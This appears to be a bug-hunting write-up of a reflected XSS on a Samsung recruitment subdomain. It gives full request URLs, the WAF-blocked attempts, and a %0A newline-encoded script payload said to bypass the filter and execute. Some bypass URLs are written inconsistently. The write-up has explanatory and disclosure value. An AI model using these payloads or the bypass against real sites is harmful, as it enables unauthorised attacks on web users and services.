Exploiting %0A Injection for XSS on Samsung

I began by searching for subdomains using Sublist3r and then checked the HTTP status codes for each subdomain I found.

I also used Google Dorks to find interesting URLs on the site. After some time, I tried the following Google Dork:

site:sgsg.samsung.com

This led me to an interesting URL:

URL:

https://www.sgsg.samsung.com/main/newpage.php?campus_id=Oxford&f_id=recruit_campus

Upon inspecting the source code, I found that the server was rendering the value from the campus_id parameter directly in JavaScript. Here’s the snippet from the response:

<script type="text/javascript">
 //<![CDATA[
 var timer;
 var campus_id = "Oxford";
 ...

Trying a Simple Injection

To test the system’s response to special characters, I first tried injecting a quote (") into the campus_id parameter.

Request:

https://www.sgsg.samsung.com/main/newpage.php?f_id=recruit_campus&campus_id=Oxford%22

Response:

<script type="text/javascript">
 //<![CDATA[
 var timer;
 var campus_id = "Oxford\"";
 ...

The system accepted the injection but didn’t allow it to execute anything harmful. It seems that the server escaped quotes.

Trying JavaScript Tag Injection

Next, I tried injecting a closing </script> tag, hoping to break the JavaScript context:

Request:

https://www.sgsg.samsung.com/main/newpage.php?f_id=recruit_campus&campus_id=</script>

Response:

<script type="text/javascript">
 //<![CDATA[
 var timer;
 var campus_id = "</script>";
 ...

The server didn’t block this request, and it seemed to parse the input. However, I couldn’t execute any malicious code yet.

Attempting an XSS Payload

I decided to try a XSS payload using an SVG tag, which is commonly used for XSS attacks.

Request:

https://www.sgsg.samsung.com/main/newpage.php?f_id=recruit_campus&campus_id=</script><svg/onload=alert`1`//>

Response:
[Blocked]

The server blocked the request because the <svg/onload=alert``//> payload.

Trying Other HTML Tags

I then tried other common HTML tags that might trigger JavaScript execution, but each attempt was blocked by the server.

At this point, I suspected that the server was specifically filtering out certain tags like <script> and other potentially harmful HTML tags.

Bypassing the Filter

I started experimenting with different bypass methods to evade the WAF (Web Application Firewall) filtering. Here’s what I tried:

Bypass 1:

Request:

https://www.sgsg.samsung.com/main/newpage.php?f_id=recruit_campus&campus_id</script><script///>alert`1`//

Response:
[Blocked]

Bypass 2:

Request:

https://www.sgsg.samsung.com/main/newpage.php?f_id=recruit_campus&campus_id</script><script/k>alert`1`//

Response:
[Blocked]

Bypass 3:

Request:

https://www.sgsg.samsung.com/main/newpage.php?f_id=recruit_campus&campus_id</script><script/s=1/k//>alert`1`//

Response:
[Blocked]

Bypass 4:

Request:

https://www.sgsg.samsung.com/main/newpage.php?f_id=recruit_campus&campus_id</script><script/<k>alert`1`//

Response:
[Blocked]

Bypass 5:

This time, I decided to encode the newline character (%0A) in my payload, which is commonly used to bypass WAFs.

Request:

https://www.sgsg.samsung.com/main/newpage.php?f_id=recruit_campus&campus_id</script><script/%0A<k>alert`1`//

Response:

<script type="text/javascript">
 //<![CDATA[
 var timer;
 var campus_id = "</script><script/
 <k>alert`1`//";
 ...

This request was not blocked, and I successfully bypassed the WAF by using the %0A URL encoding for a newline character. The alert(1) payload executed successfully.

In this case, I was able to bypass the server’s security mechanisms by using URL encoding (%0A) to inject a payload that triggered a XSS vulnerability. The server had filtering mechanisms to block traditional XSS payloads, but encoding the newline character allowed me to bypass the filter and execute the attack successfully.